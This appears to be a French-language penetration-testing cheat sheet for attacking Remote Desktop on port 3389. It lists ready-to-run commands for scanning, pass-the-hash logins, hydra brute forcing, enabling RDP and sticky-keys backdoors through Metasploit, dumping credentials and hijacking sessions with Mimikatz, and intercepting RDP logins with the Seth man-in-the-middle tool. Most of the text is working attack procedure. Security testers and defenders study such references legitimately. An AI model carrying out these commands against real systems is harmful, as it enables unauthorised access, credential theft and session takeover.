🖥️RDP - port 3389

Scan

$ nmap -A -p3389 --script rdp-ntlm-info <target IP>

Connexion

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp /u:[domain\]<username> /p:<password> /v:<IP>
xfreerdp /u:[domain\]<username> /pth:<hash> /v:<IP>

Screenshot sans idantifiants

$ crackmapexec rdp <target ip> --nla-screenshot

Bruteforce

$ hydra -L user.txt -P pass.txt <target IP> rdp

Attention: Tenter de brute force un service RDP peut entraîner le blocage des comptes

Post exploitation

Si on arrive à obtenir une session meterpreter sur la machine cible, il est possible de tenter d'activer la fonctionnalité de Remote Desktop Protocol via Metasploit.

msf6 > use post/windows/mange/enable_rdp
msf6 post(windows/manage/enable_rdp) > set username <username>
msf6 post(windows/manage/enable_rdp) > set password <password>
msf6 post(windows/manage/enable_rdp) > set session X
msf6 post(windows/manage/enable_rdp) > exploit

Persistance / Elevation de privilèges

La session créé avec le module enable_rdp aura de faible privilèges, on peut tenter une élévation de privilèges en exploitant les touches rémanentes par exemple.

il existe quelques variantes à cela, mais la plus courante commence par une réparation du démarrage de Windows, que ce soit à partir du système d'exploitation hôte ou d'un périphérique d'installation. De là, vous obtiendrez une fenêtre Cmd, et si tout se passe bien, vous devriez avoir suffisamment de privilèges pour apporter des modifications dans le dossier System32 .

Il ne vous reste plus qu'à remplacer l'exécutable Cmd (cmd.exe) par les Sticky Keys (sethc.exe). Vous pouvez ensuite démarrer normalement dans le système d'exploitation et à partir de l'écran de verrouillage, une fois que vous avez appuyé 5 fois sur la touche Maj, une fenêtre Cmd apparaît. À partir de là, vous pouvez modifier le mot de passe de l'utilisateur ou exploiter la machine de toute autre manière que vous souhaitez.

Exploitation avec metasploit:

msf6 > use post/windows/manage/sticky_keys
msf6 post(windows/manage/sticky_keys) > set session X
msf6 post(windows/manage/sticky_keys) > exploit

Dump des identifiants

Avec Mimikatz:

mimikatz# privilege::debug
Privilege '20' OK

mimikatz# ts::mstsc
...
...
UserName            'user1'
Domain              'WIN-XXX'
Password            'passwd123'

Session hijacking

Avec Mimikatz:

mimikatz# privilege::debug
Privilege '20' OK

mimikatz# ts::sessions
...
...
...
Session: X -
    state: Disconnected
    user: user1 @ XXX
    ...
    ...
    
mimikatz# token::elevate
Token Id: 0
User name:
SID name: NT AUTHORITY\SYSTEM

mimikatz# ts::remote /id:X

MITM (Man-In-The-Middle)

Il est également possible de tenter de voler les idantifiants d'un utilisateur de RDP avec l'outil Seth.

ressource: https://github.com/SySS-Research/Seth

On aura également besoin d'installer dsniff si ce n'est pas déjà fait.

$ apt install dsniff

On va ensuite utiliser Seth de cette manière:

$ ./seth.sh <interface> <attacker IP> <target IP> <gateway IP| host IP>

Du point de vue de la cible, celle-ci ne verra aucune différence si ce n'est un message d'avertissement signalant une autorité de certificat incorrect mais qui ne lui empêchera pas de lancer la connexion. Si la cible clique sur "yes" pour se connecter l'attaquant recevra alors les identifiants entrés en clair.

Dernière mise à jour